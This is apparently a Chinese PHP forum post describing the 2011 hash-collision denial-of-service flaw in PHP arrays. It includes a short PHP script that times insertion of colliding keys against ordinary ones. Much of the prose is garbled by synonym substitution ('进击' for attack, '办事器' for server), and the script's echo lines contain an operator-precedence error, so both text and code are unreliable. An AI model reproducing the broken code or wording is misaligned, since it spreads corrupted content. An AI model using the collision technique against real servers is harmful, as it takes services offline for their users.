马上注册,结交更多好友,享用更多功能,让你轻松玩转社区。
您需要 登录 才可以下载或查看,没有帐号?立即注册
x
学习了六个多月PHP了,还是个新手,在这里受到了很多人的帮助,谢谢你们! 比来(貌似是28号)从国外(地址:http://nikic.github.com/2011/12/28/Supercolliding-a-PHP-array.html)爆料了一个关于Array的新PHP抵触,可以使用挪用hash表的抵触对办事器停止回绝办事进击。
道理:今朝良多言语, 利用hash来存储key – value数据,包含经常使用的来自用户的POST数据,进击者可以经由过程机关恳求头,并陪伴POST大批的特别的”key”值(依据每一个言语的Hash算法分歧而定制),使得言语底层保留POST数据的Hash表由于”抵触”(碰撞)而退步成链表。
如许一来,假如数据量足够大, 那末就能够使得言语在盘算,查找,拔出的时分, 形成大批的CPU占用,从而完成回绝办事进击。
<?php
$size = pow(2, 16);
$startTime = microtime(true);
$array = array();
for ($key = 0, $maxKey = ($size - 1) * $size; $key <= $maxKey; $key += $size) {
$array[$key] = 0;
}
$endTime = microtime(true);
echo '拔出 ' . $size . ' 个歹意的元素需求 ' . $endTime - $startTime . ' 秒' . "\n";
$startTime = microtime(true);
$array = array();
for ($key = 0, $maxKey = $size - 1; $key <= $maxKey; ++$key) {
$array[$key] = 0;
}
$endTime = microtime(true);
echo '拔出 ' . $size . ' 个通俗元素需求 ' . $endTime - $startTime . ' 秒' . "\n";
/**
* 了局
*
* 拔出 65536 个歹意的元素需求 36.357950925827 秒
* 拔出 65536 个通俗元素需求 0.029613018035889 秒
*/
学会了生成静态网页,现在你应该接触一下XML了,恩,XML也了解了,那么AJAX你也得接触接触吧?AJAX完了....然后... |